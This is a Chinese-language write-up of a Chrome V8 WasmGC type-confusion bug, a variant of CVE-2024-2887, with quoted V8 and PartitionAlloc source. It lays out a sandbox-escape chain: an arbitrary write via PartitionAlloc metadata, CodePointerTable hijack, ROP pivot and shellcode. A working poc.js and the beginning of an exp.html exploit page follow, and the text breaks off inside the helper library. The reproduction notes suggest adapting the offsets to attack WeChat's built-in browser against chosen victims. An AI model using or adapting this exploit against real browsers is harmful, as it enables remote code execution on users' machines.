Chrome-RCE-Poc概述
- 漏洞名称:Google Chrome 沙箱穿越
- CVE编号:多个CVE组合攻击
- 威胁类型:代码执行
- 利用可能性:高
- POC状态:已公开
- 在野利用状态:未公开
- EXP状态:已公开
- 技术细节状态:已公开
- 危害描述:攻击者可通过诱导用户打开恶意链接来利用此漏洞,从而获取敏感信息或代码执行。
This can be considered a variant bug of CVE-2024-2887 discovered by Manfred Paul and presented in Vancouver 2024.
复现
++Chrome版本v125.0.6422.113++
Exp中内核偏移量需满足chrome_leak & 0xffff == 0xfd00
提供个思路:
微信中内置浏览器为大版本122的Chrome,通过Debug找到该版本偏移量来进行利用,就可以在微信想给谁弹计算器就给谁弹了
概括
WASM 等递归规范类型id<-> wasm::HeapType/ wasm::ValueTypeJS 到 WASM 的转换函数及其包装器(FromJS()、(Wasm)JSToWasmObject()等)中的混淆,导致任意 WASM类型之间的类型混淆。
这可以被认为是 Manfred Paul 发现并在 2024 年温哥华会议上提出的CVE-2024-2887的变种漏洞。
Credit
独立安全研究员 Seunghyun Lee (@0x10n) 参加 SSD Secure Disclosure 的TyphoonPWN 2024
供应商回应
供应商已在 Google Chrome 版本 124 中发布了针对此漏洞的修复程序
受影响的版本
Google Chrome 123 及更早版本
技术分析
WasmGC 中的类型经过规范化,以允许跨模块类型检查。由于 WasmGC 允许同递归类型,因此需要支持位于不同模块中各自的递归组之间的类型比较。V8 通过将单个隔离中所有模块的所有类型“规范化”为唯一标识的索引uint32_t来实现这一点。此过程在https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/canonical-types.cc 中实现,但一个非常简单的 TL;DR 将是:
- 根据以下规则规范化递归组中的类型索引:
- 类型索引已定义(在其递归组之外)-> 使用已规范化的值
- 代表同一组内不同类型的类型索引 -> 从第一个类型计算相对类型索引并标记为相对
- 如果数据库中已存在规范化递归组,则使用已保存的索引
- 否则,将递归组保存到数据库中并创建新的索引(增量)
通过这种方式,WasmGC 支持结构类型等价的概念——即,当以任何顺序规范化时(type $t1 (struct (mut i32) (mut i64))),来自模块 M1 的等价于(type $t2 (struct (mut i32) (mut i64)))来自模块 M2 的等价,将其扩展到更复杂的递归组,并且该想法仍然成立。
全局规范化数据库由单例类管理TypeCanonicalizer:
规范类型 IDTypeCanonicalizer* GetTypeCanonicalizer() { return GetWasmEngine()->type_canonicalizer(); } class TypeCanonicalizer { public: static constexpr uint32_t kPredefinedArrayI8Index = 0; static constexpr uint32_t kPredefinedArrayI16Index = 1; static constexpr uint32_t kNumberOfPredefinedTypes = 2; //... private: //... std::vector<uint32_t> canonical_supertypes_; // Maps groups of size >=2 to the canonical id of the first type. std::unordered_map<CanonicalGroup, uint32_t, base::hash<CanonicalGroup>> canonical_groups_; // Maps group of size 1 to the canonical id of the type. std::unordered_map<CanonicalSingletonGroup, uint32_t, base::hash<CanonicalSingletonGroup>> canonical_singleton_groups_; // ... };uint32_t是类型的全局唯一ID代表隔离内的特定 WasmGC 类型。canonical_supertypes_是一个表示类型之间子类型关系的向量,其中canonical_supertypes_[sub] = supersub表示是(规范类型 ID 中的所有)super的超类型。
每个 WASM 模块都保存一个向量,用于将其内部类型索引转换为规范化类型索引:
struct V8_EXPORT_PRIVATE WasmModule {
//...
std::vector<TypeDefinition> types; // by type index
// Maps each type index to its global (cross-module) canonical index as per
// isorecursive type canonicalization.
std::vector<uint32_t> isorecursive_canonical_type_ids;
//...
}
在这种情况下,isorecursive_canonical_type_ids[t] = c意味着类型索引t被规范化为类型 id c。
注意,单个WASM模块可以拥有的最大类型索引数t是kV8MaxWasmTypes,即1000000。这在解码阶段DecodeTypeSection()中强制执行。然而,一个重要的观察结果是,规范类型id没有以任何方式绑定到kV8MaxWasmTypes——它可以根据主机内存支持的大小增长到主机内存支持的最大数量,因此我们可以简单地制作更多具有不同类型的 WASM 模块。
快速外部引用可以查看如何isorecursive_canonical_type_ids使用返回WasmWrapperGraphBuilder::FromJS()、运行时函数WasmJSToWasmObject()调用JSToWasmObject()等。查看前者,我们看到以下代码:
Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,
const wasm::WasmModule* module, Node* frame_state = nullptr) {
switch (type.kind()) {
case wasm::kRef:
case wasm::kRefNull: {
switch (type.heap_representation_non_shared()) {
//...
case wasm::HeapType::kNone:
case wasm::HeapType::kNoFunc:
case wasm::HeapType::kI31:
case wasm::HeapType::kAny:
case wasm::HeapType::kFunc:
case wasm::HeapType::kStruct:
case wasm::HeapType::kArray:
case wasm::HeapType::kEq:
default: {
// Make sure ValueType fits in a Smi.
static_assert(wasm::ValueType::kLastUsedBit + 1 <= kSmiValueSize);
if (type.has_index()) {
DCHECK_NOT_NULL(module);
uint32_t canonical_index =
module->isorecursive_canonical_type_ids[type.ref_index()];
type = wasm::ValueType::RefMaybeNull(canonical_index, // [!] canonical type id used as wasm::HeapType
type.nullability());
}
Node* inputs[] = {
input, mcgraph()->IntPtrConstant(
IntToSmi(static_cast<int>(type.raw_bit_field())))};
return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject,
js_context, inputs, 2);
}
}
}
//...
}
}
在 JS 到 Wasm 转换边界上,此函数已设置为运行。请注意,canonical_index引用类型的规范索引如何包装到wasm::ValueType::RefMaybeNull()并传递给运行时函数,WasmJSToWasmObject()最终达到JSToWasmObject()。wasm::ValueType定义如下:
// A ValueType is encoded by two components: a ValueKind and a heap
// representation (for reference types/rtts). Those are encoded into 32 bits
// using base::BitField. The underlying ValueKind enumeration includes four
// elements which do not strictly correspond to value types: the two packed
// types i8 and i16, the void type (for control structures), and a bottom value
// (for internal use).
// ValueType encoding includes an additional bit marking the index of a type as
// relative. This should only be used during type canonicalization.
class ValueType {
public:
//...
static constexpr ValueType RefMaybeNull(uint32_t heap_type,
Nullability nullability) {
DCHECK(HeapType(heap_type).is_valid());
return ValueType(
KindField::encode(nullability == kNullable ? kRefNull : kRef) |
HeapTypeField::encode(heap_type)); // [!]
}
//...
/**************************** Static constants ******************************/
static constexpr int kLastUsedBit = 25;
static constexpr int kKindBits = 5;
static constexpr int kHeapTypeBits = 20;
static const intptr_t kBitFieldOffset;
private:
// {hash_value} directly reads {bit_field_}.
friend size_t hash_value(ValueType type);
using KindField = base::BitField<ValueKind, 0, kKindBits>;
using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>; // [!] HeapType, 20 bits wide
// Marks a type as a canonical type which uses an index relative to its
// recursive group start. Used only during type canonicalization.
using CanonicalRelativeField = HeapTypeField::Next<bool, 1>;
//...
}
我们现在清楚地看到,heap_type实际上并非设计用于存储范围为 的规范类型 ID uint32_t,而是设计用于存储wasm::HeapType– 两种类型表示(规范化类型 ID 与类型索引)之间存在混淆。由于wasm::HeapType始终可以用 20 位表示,因此初始化程序(和 getter,在代码片段中省略)始终将此值截断为 20 位。
这导致了第一个可利用的漏洞——JS-to-Wasm 类型检查可能会混淆规范类型 idt1和t2``if (t1 & 0xfffff) == (t2 & 0xfffff)。具体来说,对于经过类型检查以接收规范类型 id 的对象tn = t0 + 0x100000 * n其中0 < t0 < 0x100000,它会改为使用截断的执行运行时类型检查t0。简而言之,类型t0及其子类型的对象可以绕过类型检查tn并通过 JS-to-Wasm 转换,从而导致进一步的类型混淆。
但是还有另一个可利用的漏洞,比使用索引环绕要简单得多。代码将规范类型 id 与 混淆wasm::HeapType,那么是否存在将规范类型 id 误用为 的情况wasm::HeapType?当然有,按照调用链进行操作即可JSToWasmObject():
class HeapType {
public:
enum Representation : uint32_t {
kFunc = kV8MaxWasmTypes, // shorthand: c
kEq, // shorthand: q
kI31, // shorthand: j
kStruct, // shorthand: o
kArray, // shorthand: g
kAny, // // [!] top type ("any")
kExtern, // shorthand: a.
//...
};
//...
}
namespace wasm {
MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,
ValueType expected_canonical,
const char** error_message) {
//...
switch (expected_canonical.heap_representation_non_shared()) {
//...
case HeapType::kAny: { // [!] all non-null JS values allowed
if (IsSmi(*value)) return CanonicalizeSmi(value, isolate);
if (IsHeapNumber(*value)) {
return CanonicalizeHeapNumber(value, isolate);
}
if (!IsNull(*value, isolate)) return value;
*error_message = "null is not allowed for (ref any)";
return {};
}
//...
}
//...
}
这导致了第二个更简单的漏洞——JS-to-Wasm 类型检查将(截断的)规范类型 id 混淆为wasm::HeapType。这允许所有具有规范类型 id 的类型tn = kAny + 0x100000 * n(其中kAny = 1000005)允许 的所有子类型any,并且由于any是顶级类型,因此它包括所有内容(除了 null,我们无论如何都不需要它)。
我们有一个非常简单但强大的利用原语,因为我们在 WASM 对象之间有任意类型混淆。利用这一点来获取基本的漏洞构造(例如,笼状 RW、)addrOf(),fakeObj()在 https://www.zerodayinitiative.com/blog/2024/5/2/cve-2024-2887-a-pwn2own-winning-bug-in-google-chrome 中有很好的解释——简短的总结就是造成(type $t1 (struct (mut i32)))、(type $t2 (struct (ref $t1)))和之间的混淆(type $t3 (struct (exnref)))(每个都对应于int,int*,jsobj)
现在剩下的就是逃离 v8 堆沙箱。与缺乏公开的技术相反,逃离 v8 堆沙箱似乎仍然是一项简单的任务 - 滥用 PartitionAlloc。
Exploit
滥用 PartitionAlloc 元数据进行任意地址写入
PartitionAlloc 似乎是 v8 堆沙箱逃逸的一个未经充分研究的攻击向量,可能是因为它不包含在 4GB v8 指针压缩框架中。然而,它仍然在 1TB v8 堆沙箱中,很容易访问(指针压缩框架 <-> 堆沙箱不是安全边界),并且有大量的外部指针,这些指针可以直接使用,而没有任何有意义的缓解措施。
通过修改ArrayBuffer对象字段(通过addrOf()+ caged_write()),特别是backing_store字段,很容易获得对 PartitionAlloc 元数据的控制权。这会立即导致chrome.dll地址泄漏SlotSpanMetadata::bucket。
struct SlotSpanMetadata {
private:
PartitionFreelistEntry* freelist_head = nullptr;
public:
// TODO(lizeb): Make as many fields as possible private or const, to
// encapsulate things more clearly.
SlotSpanMetadata* next_slot_span = nullptr;
PartitionBucket* const bucket = nullptr; // [!] chrome.dll address leak
// CHECK()ed in AllocNewSlotSpan().
// The maximum number of bits needed to cover all currently supported OSes.
static constexpr size_t kMaxSlotsPerSlotSpanBits = 13;
static_assert(kMaxSlotsPerSlotSpan < (1 << kMaxSlotsPerSlotSpanBits), "");
// |marked_full| isn't equivalent to being full. Slot span is marked as full
// iff it isn't on the active slot span list (or any other list).
uint32_t marked_full : 1;
// |num_allocated_slots| is 0 for empty or decommitted slot spans, which can
// be further differentiated by checking existence of the freelist.
uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits;
uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits;
private:
const uint32_t can_store_raw_size_ : 1;
uint32_t freelist_is_sorted_ : 1;
uint32_t unused1_ : (32 - 1 - 2 * kMaxSlotsPerSlotSpanBits - 1 - 1);
// If |in_empty_cache_|==1, |empty_cache_index| is undefined and mustn't be
// used.
uint16_t in_empty_cache_ : 1;
uint16_t empty_cache_index_
: kMaxEmptyCacheIndexBits; // < kMaxFreeableSpans.
uint16_t unused2_ : (16 - 1 - kMaxEmptyCacheIndexBits);
// Can use only 48 bits (6B) in this bitfield, as this structure is embedded
// in PartitionPage which has 2B worth of fields and must fit in 32B.
//...
}
由于bucket稍后会取消引用并写入,因此我们将目标锁定在该字段。下面是释放对象的代码片段:
PA_ALWAYS_INLINE void SlotSpanMetadata::Free(
uintptr_t slot_start,
PartitionRoot* root,
const PartitionFreelistDispatcher* freelist_dispatcher)
// PartitionRootLock() is not defined inside partition_page.h, but
// static analysis doesn't require the implementation.
PA_EXCLUSIVE_LOCKS_REQUIRED(PartitionRootLock(root)) {
//...
if (PA_UNLIKELY(marked_full || num_allocated_slots == 0)) {
FreeSlowPath(1); // [!] target path
} else {
// All single-slot allocations must go through the slow path to
// correctly update the raw size.
PA_DCHECK(!CanStoreRawSize());
}
}
void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) {
//...
if (marked_full) {
//...
marked_full = 0;
//...
if (PA_LIKELY(bucket->active_slot_spans_head != get_sentinel_slot_span())) {
next_slot_span = bucket->active_slot_spans_head;
}
bucket->active_slot_spans_head = this; // [!] arbitrary address write
PA_CHECK(bucket->num_full_slot_spans); // Underflow. // [!] constraint
--bucket->num_full_slot_spans; // [!] arbitrary address decr (24bit int)
}
if (PA_LIKELY(num_allocated_slots == 0)) {
//...
if (PA_LIKELY(this == bucket->active_slot_spans_head)) {
bucket->SetNewActiveSlotSpan();
}
//...
}
}
bool PartitionBucket::SetNewActiveSlotSpan() {
//...
for (; slot_span; slot_span = next_slot_span) {
next_slot_span = slot_span->next_slot_span; // [!] constraint: target should be zero
//...
if (slot_span->is_active()) { // [!] constraint: false on zeros
//...
} else if (slot_span->is_empty()) { // [!] arbitrary write
slot_span->next_slot_span = empty_slot_spans_head;
empty_slot_spans_head = slot_span;
} else if (PA_LIKELY(slot_span->is_decommitted())) {
slot_span->next_slot_span = decommitted_slot_spans_head; // [!] arbitrary write
decommitted_slot_spans_head = slot_span;
} else {
//...
}
}
//...
}
通过修改bucket字段并设置marked_fullslot span 元数据中的位,我们可以到达代码中,在FreeSlowPath()那里我们可以实现任意地址写入,写入的值是元数据地址。请注意立即数PA_CHECK()- 这是我们的目标地址必须满足的约束。随后立即进行任意地址递减,也可以根据需要使用(例如从CodePointerTables 中移出 JIT 代码地址)。
这个原语可以用来做任何我们想做的事情,甚至可以凭空创造出完全任意的值——一旦PA_CHECK()相邻的更高地址满足了约束,我们甚至可以通过反复将值逐一减少来“拉”到我们想要写入的位置,然后反复触发减少以创建任意值。
我们还可以采用PartitionBucket::SetNewActiveSlotSpan()路径,其中这是攻击者控制的PartitionBucket*。这允许在已经写入NULL的目标指针上使用任意值进行任意写入(加上一些容易满足的约束)。当我们希望在一个巨大的零区域的中间写入任意值,而PA_CHECK(bucket->num_full_slot_spans)可能难以满足时,这将补充上述原语。
Popping Shell
我们已经通过任意地址写入原语绕过了 v8sbx,剩下的就是使用漏洞原语来弹出 shell。
CodePointerTable通过劫持位于对象前方的程序即可获得完整的 RCE Sandbox。
- 按要求准备ropchain、shellcode等
- 将 CPT 函数表基覆盖到我们控制的 ArrayBuffer 中,并用我们的 pivot gadget 填充
- 触发代码,通过 CPT 调用数据透视小工具(JSEntry()这是最简单的一个)
- Gadget 将堆栈转到 ropchain,将 shellcode 区域设置为可执行文件并返回到 shellcode
// poc.js // kNumberOfPredefinedTypes = 2 // stack up 1000000 more canonicalized types (total 1000002) { const builder = new WasmModuleBuilder(); builder.startRecGroup(); for (let i = 0; i < 1000000; i++) { builder.addArray(kWasmI64); } builder.endRecGroup(); builder.instantiate(); } // confuse argument as struct (mut i32) by aliasing canonicalized type with kAny { let builder = new WasmModuleBuilder(); builder.startRecGroup(); builder.addArray(kWasmI64); // 1000002 builder.addArray(kWasmI64); // 1000003 builder.addArray(kWasmI64); // 1000004 let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006 builder.endRecGroup(); builder .addFunction("read", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), ]) .exportFunc(); const instance = builder.instantiate(); const wasm = instance.exports; // this should obviously fail, instead of reading from the given JS object (or smi) // instead we segfault on the smi as caged offset console.log(wasm.read(0).toString(16)); } // FromJS / WasmJSToWasmObject is mistaking canonicalized type indexes as normal type indexes. // This confusion also results in the value to be truncated to 20bits (= 0x100000 = 1048576) since // ValueType is used to represent the type indexes, so we can even cycle back to 0 and create more // types that are confused as kAny. // => Arbitrary WASM type confusion, variant of @_manfp's CVE-2024-2887 at Pwn2Own Vancouver 2024<!-- exp.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>TyphoonPWN 2024 Exploit</title> </head> <body> <textarea id="log" rows="30" cols="120" style=" font-family: Consolas, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace; " ></textarea> <script> // Copyright 2016 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Used for encoding f32 and double constants to bits. let byte_view = new Uint8Array(8); let data_view = new DataView(byte_view.buffer); // The bytes function receives one of // - several arguments, each of which is either a number or a string of length // 1; if it's a string, the charcode of the contained character is used. // - a single array argument containing the actual arguments // - a single string; the returned buffer will contain the char codes of all // contained characters. function bytes(...input) { if (input.length == 1 && typeof input[0] == "array") input = input[0]; if (input.length == 1 && typeof input[0] == "string") { let len = input[0].length; let view = new Uint8Array(len); for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i); return view.buffer; } let view = new Uint8Array(input.length); for (let i = 0; i < input.length; i++) { let val = input[i]; if (typeof val == "string") { if (val.length != 1) { throw new Error("string inputs must have length 1"); } val = val.charCodeAt(0); } view[i] = val | 0; } return view.buffer; } // Header declaration constants var kWasmH0 = 0; var kWasmH1 = 0x61; var kWasmH2 = 0x73; var kWasmH3 = 0x6d; var kWasmV0 = 0x1; var kWasmV1 = 0; var kWasmV2 = 0; var kWasmV3 = 0; var kHeaderSize = 8; var kPageSize = 65536; var kSpecMaxPages = 65536; var kMaxVarInt32Size = 5; var kMaxVarInt64Size = 10; let kDeclNoLocals = 0; // Section declaration constants let kUnknownSectionCode = 0; let kTypeSectionCode = 1; // Function signature declarations let kImportSectionCode = 2; // Import declarations let kFunctionSectionCode = 3; // Function declarations let kTableSectionCode = 4; // Indirect function table and other tables let kMemorySectionCode = 5; // Memory attributes let kGlobalSectionCode = 6; // Global declarations let kExportSectionCode = 7; // Exports let kStartSectionCode = 8; // Start function declaration let kElementSectionCode = 9; // Elements section let kCodeSectionCode = 10; // Function code let kDataSectionCode = 11; // Data segments let kDataCountSectionCode = 12; // Data segment count (between Element & Code) let kTagSectionCode = 13; // Tag section (between Memory & Global) let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global) let kLastKnownSectionCode = 14; // Name section types let kModuleNameCode = 0; let kFunctionNamesCode = 1; let kLocalNamesCode = 2; let kWasmFunctionTypeForm = 0x60; let kWasmStructTypeForm = 0x5f; let kWasmArrayTypeForm = 0x5e; let kWasmSubtypeForm = 0x50; let kWasmSubtypeFinalForm = 0x4f; let kWasmRecursiveTypeGroupForm = 0x4e; let kNoSuperType = 0xffffffff; let kLimitsNoMaximum = 0x00; let kLimitsWithMaximum = 0x01; let kLimitsSharedNoMaximum = 0x02; let kLimitsSharedWithMaximum = 0x03; let kLimitsMemory64NoMaximum = 0x04; let kLimitsMemory64WithMaximum = 0x05; let kLimitsMemory64SharedNoMaximum = 0x06; let kLimitsMemory64SharedWithMaximum = 0x07; // Segment flags let kActiveNoIndex = 0; let kPassive = 1; let kActiveWithIndex = 2; let kDeclarative = 3; let kPassiveWithElements = 5; let kDeclarativeWithElements = 7; // Function declaration flags let kDeclFunctionName = 0x01; let kDeclFunctionImport = 0x02; let kDeclFunctionLocals = 0x04; let kDeclFunctionExport = 0x08; // Value types and related let kWasmVoid = 0x40; let kWasmI32 = 0x7f; let kWasmI64 = 0x7e; let kWasmF32 = 0x7d; let kWasmF64 = 0x7c; let kWasmS128 = 0x7b; let kWasmI8 = 0x78; let kWasmI16 = 0x77; // These are defined as negative integers to distinguish them from positive type // indices. let kWasmNullFuncRef = -0x0d; let kWasmNullExternRef = -0x0e; let kWasmNullRef = -0x0f; let kWasmFuncRef = -0x10; let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec let kWasmExternRef = -0x11; let kWasmAnyRef = -0x12; let kWasmEqRef = -0x13; let kWasmI31Ref = -0x14; let kWasmStructRef = -0x15; let kWasmArrayRef = -0x16; let kWasmExnRef = -0x17; let kWasmStringRef = -0x19; let kWasmStringViewWtf8 = -0x1a; let kWasmStringViewWtf16 = -0x1e; let kWasmStringViewIter = -0x1f; // Use the positive-byte versions inside function bodies. let kLeb128Mask = 0x7f; let kFuncRefCode = kWasmFuncRef & kLeb128Mask; let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec let kExternRefCode = kWasmExternRef & kLeb128Mask; let kAnyRefCode = kWasmAnyRef & kLeb128Mask; let kEqRefCode = kWasmEqRef & kLeb128Mask; let kI31RefCode = kWasmI31Ref & kLeb128Mask; let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask; let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask; let kStructRefCode = kWasmStructRef & kLeb128Mask; let kArrayRefCode = kWasmArrayRef & kLeb128Mask; let kExnRefCode = kWasmExnRef & kLeb128Mask; let kNullRefCode = kWasmNullRef & kLeb128Mask; let kStringRefCode = kWasmStringRef & kLeb128Mask; let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask; let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask; let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask; let kWasmRefNull = 0x63; let kWasmRef = 0x64; function wasmRefNullType(heap_type) { return { opcode: kWasmRefNull, heap_type: heap_type }; } function wasmRefType(heap_type) { return { opcode: kWasmRef, heap_type: heap_type }; } let kExternalFunction = 0; let kExternalTable = 1; let kExternalMemory = 2; let kExternalGlobal = 3; let kExternalTag = 4; let kTableZero = 0; let kMemoryZero = 0; let kSegmentZero = 0; let kExceptionAttribute = 0; // Useful signatures let kSig_i_i = makeSig([kWasmI32], [kWasmI32]); let kSig_l_l = makeSig([kWasmI64], [kWasmI64]); let kSig_i_l = makeSig([kWasmI64], [kWasmI32]); let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]); let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]); let kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []); let kSig_l_i = makeSig([kWasmI32], [kWasmI64]); let kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]); let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]); let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]); let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]); let kSig_v_v = makeSig([], []); let kSig_i_v = makeSig([], [kWasmI32]); let kSig_l_v = makeSig([], [kWasmI64]); let kSig_f_v = makeSig([], [kWasmF32]); let kSig_d_v = makeSig([], [kWasmF64]); let kSig_v_i = makeSig([kWasmI32], []); let kSig_v_ii = makeSig([kWasmI32, kWasmI32], []); let kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []); let kSig_v_l = makeSig([kWasmI64], []); let kSig_v_li = makeSig([kWasmI64, kWasmI32], []); let kSig_v_lii = makeSig([kWasmI64, kWasmI32, kWasmI32], []); let kSig_v_d = makeSig([kWasmF64], []); let kSig_v_dd = makeSig([kWasmF64, kWasmF64], []); let kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []); let kSig_ii_v = makeSig([], [kWasmI32, kWasmI32]); let kSig_iii_v = makeSig([], [kWasmI32, kWasmI32, kWasmI32]); let kSig_ii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32]); let kSig_iii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32, kWasmI32]); let kSig_ii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32]); let kSig_iii_ii = makeSig( [kWasmI32, kWasmI32], [kWasmI32, kWasmI32, kWasmI32] ); let kSig_v_f = makeSig([kWasmF32], []); let kSig_f_f = makeSig([kWasmF32], [kWasmF32]); let kSig_f_d = makeSig([kWasmF64], [kWasmF32]); let kSig_d_d = makeSig([kWasmF64], [kWasmF64]); let kSig_r_r = makeSig([kWasmExternRef], [kWasmExternRef]); let kSig_a_a = makeSig([kWasmAnyFunc], [kWasmAnyFunc]); let kSig_i_r = makeSig([kWasmExternRef], [kWasmI32]); let kSig_v_r = makeSig([kWasmExternRef], []); let kSig_v_a = makeSig([kWasmAnyFunc], []); let kSig_v_rr = makeSig([kWasmExternRef, kWasmExternRef], []); let kSig_v_aa = makeSig([kWasmAnyFunc, kWasmAnyFunc], []); let kSig_r_v = makeSig([], [kWasmExternRef]); let kSig_a_v = makeSig([], [kWasmAnyFunc]); let kSig_a_i = makeSig([kWasmI32], [kWasmAnyFunc]); let kSig_s_i = makeSig([kWasmI32], [kWasmS128]); let kSig_i_s = makeSig([kWasmS128], [kWasmI32]); function makeSig(params, results) { return { params: params, results: results }; } function makeSig_v_x(x) { return makeSig([x], []); } function makeSig_x_v(x) { return makeSig([], [x]); } function makeSig_v_xx(x) { return makeSig([x, x], []); } function makeSig_r_v(r) { return makeSig([], [r]); } function makeSig_r_x(r, x) { return makeSig([x], [r]); } function makeSig_r_xx(r, x) { return makeSig([x, x], [r]); } // Opcodes const kWasmOpcodes = { Unreachable: 0x00, Nop: 0x01, Block: 0x02, Loop: 0x03, If: 0x04, Else: 0x05, Try: 0x06, TryTable: 0x1f, ThrowRef: 0x0a, Catch: 0x07, Throw: 0x08, Rethrow: 0x09, CatchAll: 0x19, End: 0x0b, Br: 0x0c, BrIf: 0x0d, BrTable: 0x0e, Return: 0x0f, CallFunction: 0x10, CallIndirect: 0x11, ReturnCall: 0x12, ReturnCallIndirect: 0x13, CallRef: 0x14, ReturnCallRef: 0x15, NopForTestingUnsupportedInLiftoff: 0x16, Delegate: 0x18, Drop: 0x1a, Select: 0x1b, SelectWithType: 0x1c, LocalGet: 0x20, LocalSet: 0x21, LocalTee: 0x22, GlobalGet: 0x23, GlobalSet: 0x24, TableGet: 0x25, TableSet: 0x26, I32LoadMem: 0x28, I64LoadMem: 0x29, F32LoadMem: 0x2a, F64LoadMem: 0x2b, I32LoadMem8S: 0x2c, I32LoadMem8U: 0x2d, I32LoadMem16S: 0x2e, I32LoadMem16U: 0x2f, I64LoadMem8S: 0x30, I64LoadMem8U: 0x31, I64LoadMem16S: 0x32, I64LoadMem16U: 0x33, I64LoadMem32S: 0x34, I64LoadMem32U: 0x35, I32StoreMem: 0x36, I64StoreMem: 0x37, F32StoreMem: 0x38, F64StoreMem: 0x39, I32StoreMem8: 0x3a, I32StoreMem16: 0x3b, I64StoreMem8: 0x3c, I64StoreMem16: 0x3d, I64StoreMem32: 0x3e, MemorySize: 0x3f, MemoryGrow: 0x40, I32Const: 0x41, I64Const: 0x42, F32Const: 0x43, F64Const: 0x44, I32Eqz: 0x45, I32Eq: 0x46, I32Ne: 0x47, I32LtS: 0x48, I32LtU: 0x49, I32GtS: 0x4a, I32GtU: 0x4b, I32LeS: 0x4c, I32LeU: 0x4d, I32GeS: 0x4e, I32GeU: 0x4f, I64Eqz: 0x50, I64Eq: 0x51, I64Ne: 0x52, I64LtS: 0x53, I64LtU: 0x54, I64GtS: 0x55, I64GtU: 0x56, I64LeS: 0x57, I64LeU: 0x58, I64GeS: 0x59, I64GeU: 0x5a, F32Eq: 0x5b, F32Ne: 0x5c, F32Lt: 0x5d, F32Gt: 0x5e, F32Le: 0x5f, F32Ge: 0x60, F64Eq: 0x61, F64Ne: 0x62, F64Lt: 0x63, F64Gt: 0x64, F64Le: 0x65, F64Ge: 0x66, I32Clz: 0x67, I32Ctz: 0x68, I32Popcnt: 0x69, I32Add: 0x6a, I32Sub: 0x6b, I32Mul: 0x6c, I32DivS: 0x6d, I32DivU: 0x6e, I32RemS: 0x6f, I32RemU: 0x70, I32And: 0x71, I32Ior: 0x72, I32Xor: 0x73, I32Shl: 0x74, I32ShrS: 0x75, I32ShrU: 0x76, I32Rol: 0x77, I32Ror: 0x78, I64Clz: 0x79, I64Ctz: 0x7a, I64Popcnt: 0x7b, I64Add: 0x7c, I64Sub: 0x7d, I64Mul: 0x7e, I64DivS: 0x7f, I64DivU: 0x80, I64RemS: 0x81, I64RemU: 0x82, I64And: 0x83, I64Ior: 0x84, I64Xor: 0x85, I64Shl: 0x86, I64ShrS: 0x87, I64ShrU: 0x88, I64Rol: 0x89, I64Ror: 0x8a, F32Abs: 0x8b, F32Neg: 0x8c, F32Ceil: 0x8d, F32Floor: 0x8e, F32Trunc: 0x8f, F32NearestInt: 0x90, F32Sqrt: 0x91, F32Add: 0x92, F32Sub: 0x93, F32Mul: 0x94, F32Div: 0x95, F32Min: 0x96, F32Max: 0x97, F32CopySign: 0x98, F64Abs: 0x99, F64Neg: 0x9a, F64Ceil: 0x9b, F64Floor: 0x9c, F64Trunc: 0x9d, F64NearestInt: 0x9e, F64Sqrt: 0x9f, F64Add: 0xa0, F64Sub: 0xa1, F64Mul: 0xa2, F64Div: 0xa3, F64Min: 0xa4, F64Max: 0xa5, F64CopySign: 0xa6, I32ConvertI64: 0xa7, I32SConvertF32: 0xa8, I32UConvertF32: 0xa9, I32SConvertF64: 0xaa, I32UConvertF64: 0xab, I64SConvertI32: 0xac, I64UConvertI32: 0xad, I64SConvertF32: 0xae, I64UConvertF32: 0xaf, I64SConvertF64: 0xb0, I64UConvertF64: 0xb1, F32SConvertI32: 0xb2, F32UConvertI32: 0xb3, F32SConvertI64: 0xb4, F32UConvertI64: 0xb5, F32ConvertF64: 0xb6, F64SConvertI32: 0xb7, F64UConvertI32: 0xb8, F64SConvertI64: 0xb9, F64UConvertI64: 0xba, F64ConvertF32: 0xbb, I32ReinterpretF32: 0xbc, I64ReinterpretF64: 0xbd, F32ReinterpretI32: 0xbe, F64ReinterpretI64: 0xbf, I32SExtendI8: 0xc0, I32SExtendI16: 0xc1, I64SExtendI8: 0xc2, I64SExtendI16: 0xc3, I64SExtendI32: 0xc4, RefNull: 0xd0, RefIsNull: 0xd1, RefFunc: 0xd2, RefEq: 0xd3, RefAsNonNull: 0xd4, BrOnNull: 0xd5, BrOnNonNull: 0xd6, }; function defineWasmOpcode(name, value) { if 